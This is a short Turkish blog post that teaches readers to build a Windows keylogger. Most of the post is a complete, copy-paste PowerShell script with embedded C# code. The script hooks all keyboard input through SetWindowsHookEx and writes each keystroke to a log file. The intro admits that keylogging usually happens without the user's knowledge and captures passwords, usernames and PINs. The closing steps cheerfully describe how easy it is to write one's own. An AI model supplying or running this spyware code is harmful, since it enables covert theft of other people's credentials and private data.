Önder Online

Windows’ta kendimiz basit bir keylogger nasıl oluştururuz

Keylogging, klavyede yapılan tuş basışlarını bir günlüğe kaydetme işlemidir. Bu genellikle kullanıcının farkında olmadan yapılır. Keylogging, bilgisayar korsanlığı hilesi olarak da yaygın olarak kullanılmaktadır. Keylogging kullanılarak, bir klavye üzerinde yapılan tüm tuş basışları verimli bir şekilde kaydedilebilir. Bu, parolaları, kullanıcı adlarını, gizli pimleri, gizli verileri vb. İçerebilir. Keylogging, izinsiz girişleri tespit etmek için de kullanılabilir. Bu makalede, basit bir keylogger oluşturmak için Powershell olarak bilinen bir Windows çerçevesi kullanılmıştır . Bir komut satırı kabuğundan ve ilgili komut dosyası dilinden oluşur. Powershell, .NET çerçevesi üzerine inşa edilmiştir ve çeşitli uygulamalar için yaygın olarak kullanılmaktadır.

  • Başlat menüsünü açın. Yazın Windows PowerShell arama çubuğuna. Arama sonuçlarından, ekran görüntüsünde gösterildiği gibi Windows PowerShell ve Windows PowerShell ISE uygulamalarını açın .

  • Aşağıda verilen kodu kopyalayın ve Windows PowerShell komut istemine yapıştırın . Kopyalamak veya yapıştırmak için, PowerShell komut isteminde kodu seçmeniz ve sağ tıklamanız yeterlidir.

Add-Type -TypeDefinition @”
using System;
using System.IO;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;

namespace KeyLogger {
public static class Program {
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;

private const string logFileName = “log.txt”;
private static StreamWriter logFile;

private static HookProc hookProc = HookCallback;
private static IntPtr hookId = IntPtr.Zero;

public static void Main() {
logFile = File.AppendText(logFileName);
logFile.AutoFlush = true;

hookId = SetHook(hookProc);
Application.Run();
UnhookWindowsHookEx(hookId);
}

private static IntPtr SetHook(HookProc hookProc) {
IntPtr moduleHandle = GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName);
return SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, moduleHandle, 0);
}

private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);

private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) {
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) {
int vkCode = Marshal.ReadInt32(lParam);
logFile.WriteLine((Keys)vkCode);
}

return CallNextHookEx(hookId, nCode, wParam, lParam);
}

[DllImport(“user32.dll”)]
private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);

[DllImport(“user32.dll”)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);

[DllImport(“user32.dll”)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

[DllImport(“kernel32.dll”)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
}
}
“@ -ReferencedAssemblies System.Windows.Forms

[KeyLogger.Program]::Main();

  • Şimdi bazı uygulamaları açın ve bazı tuşlara basın. Örnek olarak ondermonder yazdım
  • Tuşlara basmayı tamamladığınızda, Windows PowerShell komut isteminde kodun altına bakın . Burada, Kayıt tuşuna bastığınız bir talimat göreceksiniz . Sonuçları görmek için CTRL + C tuşlarına basın. Günlüğe kaydedilen tuş vuruşlarını görmek için talimata göre CTRL + C tuşlarına basın .
  • Bu kadar. Kendi keylogger’ınızı yazmak artık çok büyük bir durum değil :). Umarım makale faydalı olur.